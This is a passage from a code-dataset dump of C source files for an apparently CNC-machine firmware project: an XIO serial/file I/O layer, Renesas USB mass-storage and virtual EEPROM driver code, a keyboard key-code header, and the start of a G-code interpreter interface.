gets() - non-blocking input line reader - extends fgets\n *\t\t- ctrl() - ioctl-like knockoff for setting device parameters (flags)\n *\t\t- signal handling: interrupt on: feedhold, cycle_start, ctrl-x software reset\n *\t\t- interrupt buffered RX and TX functions\n *\t\t- XON/XOFF software flow control\n */\n/* ----- XIO - Some Internals ----\n *\n * XIO layers are: (1) xio virtual device (root), (2) xio device type, (3) xio devices\n *\n * The virtual device has the following methods:\n *\txio_init() - initialize the entire xio system\n *\txio_open() - open a device indicated by the XIO_DEV number\n *\txio_ctrl() - set control flags for XIO_DEV device\n *\txio_gets() - get a string from the XIO_DEV device (non blocking line reader)\n *\txio_getc() - read a character from the XIO_DEV device (not stdio compatible)\n *\txio_putc() - write a character to the XIO_DEV device (not stdio compatible)\n * xio_set_baud() - set baud rates for devices for which this is meaningful\n *\n * The device type layer currently knows about USARTS, SPI, and File devices. Methods are:\n *\txio_init_<type>() - initializes the devices of that type\n *\n * The device layer currently supports: USB, RS485, SPI channels, PGM file reading. methods:\n *\txio_open<device>() - set up the device for use or reset the device\n *\txio_ctrl<device>() - change device flag controls\n *\txio_gets<device>() - get a string from the device (non-blocking)\n *\txio_getc<device>() - read a character from the device (stdio compatible)\n *\txio_putc<device>() - write a character to the device (stdio compatible)\n *\n * The virtual level uses XIO_DEV_xxx numeric device IDs for reference.\n * Lower layers are called using the device structure pointer xioDev_t *d\n * The stdio compatible functions use pointers to the stdio FILE structs.\n */\n#include <string.h>\t\t\t\t\t// for memset()\n#include <stdio.h>\t\t\t\t\t// precursor for xio.h\n#include \"platform.h\"\n\n#include \"xio.h\"\t\t\t\t\t// all device includes are nested here\n#include \"tinyg.h\"\t\t\t\t\t// needed by init() for default source\n#include \"config.h\"\t\t\t\t\t// needed by init() for default source\n#include \"controller.h\"\t\t\t\t// needed by init() for default source\n\nxioDev_t \t\tds[XIO_DEV_COUNT];\t\t\t// allocate top-level dev structs\n\n//\ntypedef struct xioSingleton {\n\tFILE * stderr_shadow;\t\t\t// used for stack overflow / memory integrity checking\n} xioSingleton_t;\nxioSingleton_t xio;\n\n/********************************************************************************\n * XIO Initializations, Resets and Assertions\n */\n/*\n * xio_init() - initialize entire xio sub-system\n */\nvoid xio_init()\n{\n\t// set memory integrity check\n\txio_set_stderr(0);\t\t\t\t// set a bogus value; may be overwritten with a real value\n\n\t// setup device types\n\txio_init_fsfat();\n\txio_init_command();\n\txio_init_spiffs();\n//\txio_init_usart();\n//\txio_init_spi();\n//\txio_init_file();\n\n\t// open individual devices (file device opens occur at time-of-use)\n//\txio_open(XIO_DEV_USBFAT,0,0);\n//\txio_open(XIO_DEV_USB, 0, USB_FLAGS);\n//\txio_open(XIO_DEV_RS485,0, RS485_FLAGS);\n//\txio_open(XIO_DEV_SPI1, 0, SPI_FLAGS);\n//\txio_open(XIO_DEV_SPI2, 0, SPI_FLAGS);\n\n\txio_init_assertions();\n}\n\n/*\n * xio_init_assertions()\n * xio_test_assertions() - validate operating state\n *\n * NOTE: xio device assertions are set up as part of xio_open_generic()\n *\t\t This system is kind of brittle right now because if a device is\n *\t\t not set up then it will fail in the assertions test. Need to fix this.\n */\n\nvoid xio_init_assertions() {}\n\nuint8_t xio_test_assertions()\n{\n//RXMOD\tif (ds[XIO_DEV_USB].magic_start\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_USB].magic_end\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_RS485].magic_start\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_RS485].magic_end\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_SPI1].magic_start\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_SPI1].magic_end\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_SPI2].magic_start\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_SPI2].magic_end\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_PGM].magic_start\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n//\tif (ds[XIO_DEV_PGM].magic_end\t\t!= MAGICNUM) return (STAT_XIO_ASSERTION_FAILURE);\n\tif (stderr != xio.stderr_shadow) \t\t\t\t return (STAT_XIO_ASSERTION_FAILURE);\n\treturn (STAT_OK);\n}\n\n/*\n * xio_isbusy() - return TRUE if XIO sub-system is busy\n *\n *\tThis function is here so that the caller can detect that the serial system is active\n *\tand therefore generating interrupts. This is a hack for the earlier AVRs that require\n *\tinterrupts to be disabled for EEPROM write so the caller can see if the XIO system is\n *\tquiescent. This is used by the G10 deferred writeback persistence functions.\n *\n *\tIdle conditions:\n *\t- The serial RX buffer is empty, indicating with some probability that data is not being sent\n *\t- The serial TX buffers are empty\n */\n\nuint8_t xio_isbusy()\n{\n//\tif (xio_get_rx_bufcount_usart(&USBu) != 0) return (false);\n//\tif (xio_get_tx_bufcount_usart(&USBu) != 0) return (false);\n//\treturn (true);\n\treturn (false);\n}\n\n/*\n * xio_reset_working_flags()\n */\n\nvoid xio_reset_working_flags(xioDev_t *d)\n{\n\td->signal = 0;\n\td->flag_in_line = 0;\n\td->flag_eol = 0;\n\td->flag_eof = 0;\n}\n\n/*\n * xio_init_device() - generic initialization function for any device\n *\n *\tThis binds the main fucntions and sets up the stdio FILE structure\n *\tudata is used to point back to the device struct so it can be gotten\n *\tfrom getc() and putc() functions.\n *\n *\tRequires device open() to be run prior to using the device\n */\nvoid xio_open_generic(uint8_t dev, x_open_t x_open,\n\t\t\t\t\t\t\t\t x_ctrl_t x_ctrl,\n\t\t\t\t\t\t\t\t x_close_t x_close,\n\t\t\t\t\t\t\t\t x_gets_t x_gets,\n\t\t\t\t\t\t\t\t x_getc_t x_getc,\n\t\t\t\t\t\t\t\t x_putc_t x_putc,\n\t\t\t\t\t\t\t\t x_flow_t x_flow)\n{\n\txioDev_t *d = &ds[dev];\n\tmemset (d, 0, sizeof(xioDev_t));\n\td->magic_start = MAGICNUM;\n\td->magic_end = MAGICNUM;\n\td->dev = dev;\n\n\t// bind functions to device structure\n\td->x_open = x_open;\n\td->x_ctrl = x_ctrl;\n\td->x_close = x_close;\n\td->x_gets = x_gets;\n\td->x_getc = x_getc;\t// you don't need to bind getc & putc unless you are going to use them directly\n\td->x_putc = x_putc;\t// they are bound into the fdev stream struct\n\td->x_flow = x_flow;\n\n\t// setup the stdio FILE struct and link udata back to the device struct\n//RXMOD\tfdev_setup_stream(&d->file, x_putc, x_getc, _FDEV_SETUP_RW);\n//RXMOD\tfdev_set_udata(&d->file, d);\t\t// reference yourself for udata\n}\n\n/********************************************************************************\n * PUBLIC ENTRY POINTS - access the functions via the XIO_DEV number\n * xio_open() - open function\n * xio_gets() - entry point for non-blocking get line function\n * xio_getc() - entry point for getc (not stdio compatible)\n * xio_putc() - entry point for putc (not stdio compatible)\n *\n * It might be prudent to run an assertion such as below, but we trust the callers:\n * \tif (dev < XIO_DEV_COUNT) blah blah blah\n *\telse return (_FDEV_ERR);\t// XIO_NO_SUCH_DEVICE\n */\nFILE *xio_open(uint8_t dev, const char *addr, flags_t flags)\n{\n\treturn (ds[dev].x_open(dev, addr, flags));\n}\n\nvoid xio_close(const uint8_t dev)\n{\n\tds[dev].x_close(&ds[dev]);\n}\n\nint xio_gets(const uint8_t dev, char *buf, const int size)\n{\n\treturn (ds[dev].x_gets(&ds[dev], buf, size));\n}\n\nint xio_getc(const uint8_t dev)\n{\n\treturn (ds[dev].x_getc(&ds[dev].file));\n}\n\nint xio_putc(const uint8_t dev, const char c)\n{\n\treturn (ds[dev].x_putc(c, &ds[dev].file));\n}\n\n/*\n * xio_ctrl() - PUBLIC set control flags (top-level XIO_DEV access)\n * xio_ctrl_generic() - PRIVATE but generic set-control-flags\n */\nint xio_ctrl(const uint8_t dev, const flags_t flags)\n{\n\treturn (xio_ctrl_generic(&ds[dev], flags));\n}\n\n#define SETFLAG(t,f) if ((flags & t) != 0) { d->f = true; }\n#define CLRFLAG(t,f) if ((flags & t) != 0) { d->f = false; }\n\nint xio_ctrl_generic(xioDev_t *d, const flags_t flags)\n{\n\tSETFLAG(XIO_BLOCK,\t\tflag_block);\n\tCLRFLAG(XIO_NOBLOCK,\tflag_block);\n\tSETFLAG(XIO_XOFF,\t\tflag_xoff);\n\tCLRFLAG(XIO_NOXOFF,\t\tflag_xoff);\n\tSETFLAG(XIO_ECHO,\t\tflag_echo);\n\tCLRFLAG(XIO_NOECHO,\t\tflag_echo);\n\tSETFLAG(XIO_CRLF,\t\tflag_crlf);\n\tCLRFLAG(XIO_NOCRLF,\t\tflag_crlf);\n\tSETFLAG(XIO_IGNORECR,\tflag_ignorecr);\n\tCLRFLAG(XIO_NOIGNORECR,\tflag_ignorecr);\n\tSETFLAG(XIO_IGNORELF,\tflag_ignorelf);\n\tCLRFLAG(XIO_NOIGNORELF,\tflag_ignorelf);\n\tSETFLAG(XIO_LINEMODE,\tflag_linemode);\n\tCLRFLAG(XIO_NOLINEMODE,\tflag_linemode);\n\treturn (XIO_OK);\n}\n\n/*\n * xio_set_baud() - PUBLIC entry to set baud rate\n *\tCurrently this only works on USART devices\n */\nint xio_set_baud(const uint8_t dev, const uint8_t baud)\n{\n//RXMOD\txioUsart_t *dx = (xioUsart_t *)&us[dev - XIO_DEV_USART_OFFSET];\n//\txio_set_baud_usart(dx, baud);\n\treturn (XIO_OK);\n}\n\n/*\n * xio_fc_null() - flow control null function\n */\nvoid xio_fc_null(xioDev_t *d)\n{\n\treturn;\n}\n\n/*\n * xio_set_stdin() - set stdin from device number\n * xio_set_stdout() - set stdout from device number\n * xio_set_stderr() - set stderr from device number\n *\n *\tstderr is defined in stdio as __iob[2]. Turns out stderr is the last RAM\n *\tallocated by the linker for this project. We usae that to keep a shadow\n *\tof __iob[2] for stack overflow detection and other memory corruption.\n */\nvoid xio_set_stdin(const uint8_t dev)\n{\n//RXMOD\tstdin = &ds[dev].file;\n}\nvoid xio_set_stdout(const uint8_t dev)\n{\n//RXMOD\tstdout = &ds[dev].file;\n}\nvoid xio_set_stderr(const uint8_t dev)\n{\n//RXMOD\tstderr = &ds[dev].file;\n\txio.stderr_shadow = stderr;\t\t// this is the last thing in RAM, so we use it as a memory corruption canary\n}\n" }, { "alpha_fraction": 0.5421178340911865, "alphanum_fraction": 0.5758854746818542, "avg_line_length": 69.7662353515625, "blob_id": "52e571e9b205bb7b03a24353eb171e08b795b42e", "content_id": "302b66c270106ae3bc269b436c92e1e73bfb53aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5449, "license_type": "no_license", "max_line_length": 122, "num_lines": 77, "path": "/r_usb_hmsc/src/inc/r_usb_hmsc_api.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_api.h\n* Description : USB Host MSC Driver API declaration\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n#ifndef __R_USB_HMSC_API_H__\n#define __R_USB_HMSC_API_H__\n\n/*****************************************************************************\nPublic Functions (API)\n******************************************************************************/\n\nuint16_t R_usb_hmsc_DriveSpeed(USB_UTR_t *ptr, uint16_t side);\nuint16_t R_usb_hmsc_GetDevSts( uint16_t side );\nuint16_t R_usb_hmsc_Information(uint16_t ipno, uint16_t PipeOffset);\nuint16_t R_usb_hmsc_Inquiry(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_ModeSelect6(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_ModeSense10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_PreventAllow(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_Read10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff,\n uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nuint16_t R_usb_hmsc_ReadCapacity(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_ReadFormatCapacity(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_RequestSense(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_SetDevSts( uint16_t side, uint16_t data );\nuint16_t R_usb_hmsc_StrgDriveClose(USB_UTR_t *ptr, uint16_t side);\nUSB_ER_t R_usb_hmsc_StrgDriveOpen(USB_UTR_t *ptr, uint16_t side, USB_CB_t complete );\nuint16_t R_usb_hmsc_StrgDriveSearch(USB_UTR_t *ptr, uint16_t addr, USB_CB_t complete);\nuint16_t R_usb_hmsc_StrgReadSector(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nuint16_t R_usb_hmsc_StrgUserCommand(USB_UTR_t *ptr, uint16_t side, uint16_t command, uint8_t *buff, USB_CB_t complete);\nuint16_t R_usb_hmsc_StrgWriteSector(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nuint16_t R_usb_hmsc_TestUnit(USB_UTR_t *ptr, uint16_t side);\nuint16_t R_usb_hmsc_Write10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nvoid R_usb_hmsc_ClassCheck(USB_UTR_t *ptr, uint16_t **table);\nvoid R_usb_hmsc_DriveClose(USB_UTR_t *ptr, uint16_t addr, uint16_t data2);\nvoid R_usb_hmsc_Initialized(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid R_usb_hmsc_Release(USB_UTR_t *ptr);\nvoid R_usb_hmsc_StrgTaskClose(USB_UTR_t *ptr);\nvoid R_usb_hmsc_StrgTaskOpen(USB_UTR_t *ptr);\nvoid R_usb_hmsc_TaskClose(USB_UTR_t *ptr);\nvoid R_usb_hmsc_TaskOpen(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid R_usb_hmsc_driver_start( USB_UTR_t *ptr );\n\nvoid R_usb_hmsc_ClearStall(USB_UTR_t *ptr, uint16_t type, uint16_t msgnum, USB_CB_t complete);\nUSB_ER_t R_usb_hmsc_MassStorageReset(USB_UTR_t *ptr, uint16_t drvnum, USB_CB_t complete);\nUSB_ER_t R_usb_hmsc_GetMaxUnit(USB_UTR_t *ptr, uint16_t addr, USB_CB_t complete);\n\n#endif /* __R_USB_HMSC_API_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.4230313301086426, "alphanum_fraction": 0.4300062656402588, "avg_line_length": 42.70426940917969, "blob_id": "246b51759c2fc2e83f63bbcb3a18fcbc33db52dd", "content_id": "aa9a68c20fddeb2ffc5eb11ad8a0f7826b4362df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14337, "license_type": "no_license", "max_line_length": 120, "num_lines": 328, "path": "/r_vee/src/targets/rx63x/r_vee_rx63x.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee_rx63x.c\n* Device : RX63x\n* Tool Chain : Renesas RX Standard Toolchain\n* Description : This file implements specific MCU functions that are used along with the Virtual EEPROM Project.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 19.12.2011 1.00 First Release\n* : 02.01.2013 1.10 Replaced use of 'magic number' for Flash API return with macro. New include name for\n* Flash API.\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Used for accessing peripheral registers */\n#include \"platform.h\"\n/* VEE interface. */\n#include \"r_vee_if.h\"\n/* Used for VEE types and MCU relevant data. */\n#include \"r_vee_target.h\"\n/* Used for accessing g_flash_BlockAddresses[] array. */\n#include \"r_flash_api_rx_if.h\"\n\n/* Only compile this file if a RX63x MCU is chosen. */\n#if defined(BSP_MCU_RX63_ALL) \n\n#ifdef VEE_ENABLE_DF\n\n/***********************************************************************************************************************\n* Function Name: vee_enable_df\n* Description : Enables the data flash on the MCU\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nvoid vee_enable_df (void)\n{\n#if defined(FLASH_API_RX_CFG_COPY_CODE_BY_API) && defined(FLASH_API_RX_CFG_ENABLE_ROM_PROGRAMMING)\n /* Before calling any other API functions the API code needs to be copied to RAM. */\n R_FlashCodeCopy();\n#endif\n\n /* Enable access to the data flash blocks */\n R_FlashDataAreaAccess(0xFFFF, 0xFFFF);\n}\n/***********************************************************************************************************************\nEnd of function vee_enable_df\n***********************************************************************************************************************/\n\n#endif\n\n/***********************************************************************************************************************\n* Function Name: vee_get_block_info\n* Description : Gets flag information for a VEE Block. This is separated from VEE.c since different methods will need \n* to be used for different MCUs. For instance, the R8C can read a flag and tell it has not been written \n* by reading 0xFF. The RX63N cannot do this though and you have to use the blank check command.\n* Arguments : sector - \n* Sector to look up\n* block - \n* Which VEE Block to look up\n* vee_block - \n* Structure to hold flags\n* Return Value : VEE_SUCCESS - \n* Successful, structure filled in\n* VEE_FAILURE - \n* Failure\n***********************************************************************************************************************/\nuint8_t vee_get_block_info (uint8_t sector, uint32_t block, vee_block_info_t * vee_block)\n{ \n uint8_t * ptr;\n \n /* Flags are at the lower addresses of the block */\n ptr = (uint8_t *) g_vee_Sectors[sector].VEE_block_addr[block]; \n \n /* Start off with all flags as not set */ \n vee_block->erasing = VEE_BLOCK_FLAG_NOT_SET; \n vee_block->active = VEE_BLOCK_FLAG_NOT_SET; \n vee_block->full = VEE_BLOCK_FLAG_NOT_SET; \n vee_block->nextup = VEE_BLOCK_FLAG_NOT_SET; \n \n /* Test for ERASING flag */ \n if (vee_blank_check_address((uint8_t *)ptr) != VEE_SUCCESS)\n {\n /* Make sure flag is correct */\n if (*(vee_var_min_t *)ptr == VEE_BLOCK_FLAG_ERASING)\n {\n /* Flag was correct */\n vee_block->erasing = VEE_BLOCK_FLAG_SET;\n }\n } \n \n /* Move to ACTIVE flag */\n ptr += sizeof(vee_var_min_t);\n \n /* Test for ACTIVE flag */ \n if (vee_blank_check_address((uint8_t *)ptr) != VEE_SUCCESS)\n {\n /* Make sure flag is correct */\n if (*(vee_var_min_t *)ptr == VEE_BLOCK_FLAG_ACTIVE)\n {\n /* Flag was correct */\n vee_block->active = VEE_BLOCK_FLAG_SET;\n }\n } \n \n /* Move to FULL flag */\n ptr += sizeof(vee_var_min_t);\n \n /* Test for FULL flag */ \n if (vee_blank_check_address((uint8_t *)ptr) != VEE_SUCCESS)\n {\n /* Make sure flag is correct */\n if(*(vee_var_min_t *)ptr == VEE_BLOCK_FLAG_FULL)\n {\n /* Flag was correct */\n vee_block->full = VEE_BLOCK_FLAG_SET;\n }\n } \n\n /* Move to NEXTUP flag */\n ptr += sizeof(vee_var_min_t);\n\n /* Test for NEXTUP flag */ \n if (vee_blank_check_address((uint8_t *)ptr) != VEE_SUCCESS)\n {\n /* Make sure flag is correct */\n if (*(vee_var_min_t *)ptr == VEE_BLOCK_FLAG_NEXTUP)\n {\n /* Flag was correct */\n vee_block->nextup = VEE_BLOCK_FLAG_SET;\n }\n } \n \n /* Finished successfully */\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function vee_get_block_info\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_blank_check_address\n* Description : Checks to see if this data address is blank\n* Arguments : addr - \n* Address to check\n* Return Value : VEE_SUCCESS - \n* Address was blank\n* VEE_FAILURE - \n* Address has been written\n***********************************************************************************************************************/\nuint8_t vee_blank_check_address(uint8_t *addr)\n{\n /* Local variable */\n uint8_t ret;\n \n /* Verify that address is on 2 byte boundary */\n if( (((uint32_t)addr) & 0x00000001) != 0 )\n {\n /* This should not happen */\n FlashError();\n }\n \n /* Perform 2 byte blank check */\n ret = R_FlashDataAreaBlankCheck( (uint32_t)addr, BLANK_CHECK_2_BYTE);\n \n /* Check return value */\n if( ret == FLASH_BLANK )\n {\n /* Address was blank */\n return VEE_SUCCESS;\n }\n else if( ret == FLASH_NOT_BLANK )\n {\n /* Address was not blank */\n return VEE_FAILURE;\n }\n else\n {\n /* Operation failure in Flash API */\n FlashError();\n }\n \n /* Return */\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function vee_blank_check_address\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_blank_check_block\n* Description : Checks to see if this data flash block is empty\n* Arguments : block - \n* block to check\n* Return Value : VEE_SUCCESS - \n* Block was blank\n* VEE_FAILURE - \n* Block has been written\n***********************************************************************************************************************/\nuint8_t vee_blank_check_block(uint32_t block)\n{ \n /* Perform blank check */\n if( R_FlashDataAreaBlankCheck(g_flash_BlockAddresses[block], BLANK_CHECK_ENTIRE_BLOCK) == 0 )\n {\n /* Blank check is on-going */\n return VEE_SUCCESS;\n }\n else\n {\n /* Problem with blank check in FlashAPI */\n return VEE_FAILURE;\n } \n}\n/***********************************************************************************************************************\nEnd of function vee_blank_check_block\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_move_to_boundary\n* Description : Moves and address to a data flash programming boundary\n* Arguments : address - \n* Address to check\n* Return Value : The address aligned to the data flash boundary\n***********************************************************************************************************************/\nuint32_t vee_move_to_boundary(uint32_t address)\n{\n /* On the RX63N we have 2 byte boundaries */\n \n /* Check to see if it is already on an 2 byte boundary */\n if( (address & 0x00000001) != 0 )\n {\n /* Address is not on a boundary. Since this MCU has 2 byte writes, we just need to move 1 byte forward. */\n return (address+1);\n }\n else\n {\n /* Address is already on boundary */\n return address;\n }\n}\n/***********************************************************************************************************************\nEnd of function vee_move_to_boundary\n***********************************************************************************************************************/\n\n#ifdef VEE_USE_DEFAULT_CHECK_FUNCTIONS\n\n/***********************************************************************************************************************\n* Function Name: vee_check_record\n* Description : Validates a record. The user could implement a CRC or checksum check here if the default flag is \n* not enough.\n* Arguments : record - \n* Address of record in data flash\n* Return Value : VEE_SUCCESS - \n* Record is valid\n* VEE_FAILURE - \n* Record is not valid\n***********************************************************************************************************************/\nuint8_t vee_check_record(vee_record_t *record)\n{\n /* By default we only check the flag that is written to a record once that record's data has been written. You \n could use any check here. */\n /* First need to make sure the record has been written */\n if( vee_blank_check_address((uint8_t *)&record->check) == VEE_SUCCESS )\n {\n /* Record was blank so it is not valid */\n return VEE_FAILURE;\n }\n \n /* Check to see if the check field has the programmed flag */\n if( record->check == VEE_RECORD_WRITTEN )\n {\n /* Record verified */\n return VEE_SUCCESS;\n }\n else\n {\n /* Error with record */\n return VEE_FAILURE;\n }\n}\n/***********************************************************************************************************************\nEnd of function vee_check_record\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_GenerateCheck\n* Description : Generates the 'check' field for a record. The user could implement a CRC or checksum check here if \n* the default static flag is not enough.\n* Arguments : record - \n* Pointer to record to generate check for\n* Return Value : VEE_SUCCESS - \n* 'check' field is filled in\n* VEE_FAILURE - \n* Invalid record\n***********************************************************************************************************************/\nuint8_t R_VEE_GenerateCheck(vee_record_t *record)\n{ \n /* Just fill in a predefined value */\n record->check = VEE_RECORD_WRITTEN; \n \n /* Return success */\n return VEE_SUCCESS; \n}\n/***********************************************************************************************************************\nEnd of function R_VEE_GenerateCheck\n***********************************************************************************************************************/\n\n#endif //VEE_USE_DEFAULT_CHECK_FUNCTIONS\n\n#endif //BSP_MCU_RX63_ALL\n\n\n" }, { "alpha_fraction": 0.2824659049510956, "alphanum_fraction": 0.3153107762336731, "avg_line_length": 34.98181915283203, "blob_id": "41b27c1e5a5493a0ac83055115cd8c63edb6ae45", "content_id": "b0a584c5307a94ee42230f004451fa5f5bef06d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1979, "license_type": "no_license", "max_line_length": 79, "num_lines": 55, "path": "/src/include/keyboard.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * keyboard.h\n *\n * Created on: 07/08/2015\n * Author: LAfonso01\n */\n\n#ifndef SRC_KEYBOARD_H_\n#define SRC_KEYBOARD_H_\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"queue.h\"\n#include \"platform.h\"\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n\n#define KEY_UP \t\t(0x0100U)\n#define KEY_DOWN \t(0x0400U)\n#define KEY_RIGHT\t(0x0200U)\n#define KEY_LEFT\t(0x0020U)\n#define KEY_ESC\t\t(0x0001U)\n#define KEY_ENTER \t(0x0004U)\n#define KEY_Z_UP \t(0x0010U)\n#define KEY_Z_DOWN \t(0x0040U)\n#define KEY_RELEASED (0)\n\n#define USB_DISCONNECTED (0x55555555)\n#define EMERGENCIA_SIGNAL (0xAAAA0000)\n/******************************************************************************\nSection <Section Definition> , \"Data Sections\"\n******************************************************************************/\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern xQueueHandle qKeyboard;\n/*****************************************************************************\nEnumerated Types\n******************************************************************************/\n\n/******************************************************************************\nSection <Section Definition> , \"Project Sections\"\n******************************************************************************/\n\n#endif /* SRC_KEYBOARD_H_ */\n" }, { "alpha_fraction": 0.6500553488731384, "alphanum_fraction": 0.6699889302253723, "avg_line_length": 18.586956024169922, "blob_id": "201c147ef52e4ef10dc6597d58cb2340e2da054b", "content_id": "5fa01575f290b18f2d89b5d30ef2e11b6215b726", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 903, "license_type": "no_license", "max_line_length": 32, "num_lines": 46, "path": "/src/config/interpreter_if.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * interpreter_if.c\n *\n * Created on: 21/12/2015\n * Author: leocafonso\n */\n#include \"platform.h\"\n#include \"interpreter_if.h\"\n\nconst char zero_axis[]= \"\\\nG28.3 X0 Y0 Z0\\n\\\nm30\";\n\nconst char jog_stop[]= \"\\\n!\";\n\nconst char jog_restart[]= \"\\\n~\";\n\niif_func_ptr iif_func_enter;\niif_func_ptr iif_func_esc;\niif_func_ptr iif_func_down;\niif_func_ptr iif_func_up;\niif_func_ptr iif_func_left;\niif_func_ptr iif_func_right;\niif_func_ptr iif_func_zdown;\niif_func_ptr iif_func_zup;\niif_func_ptr 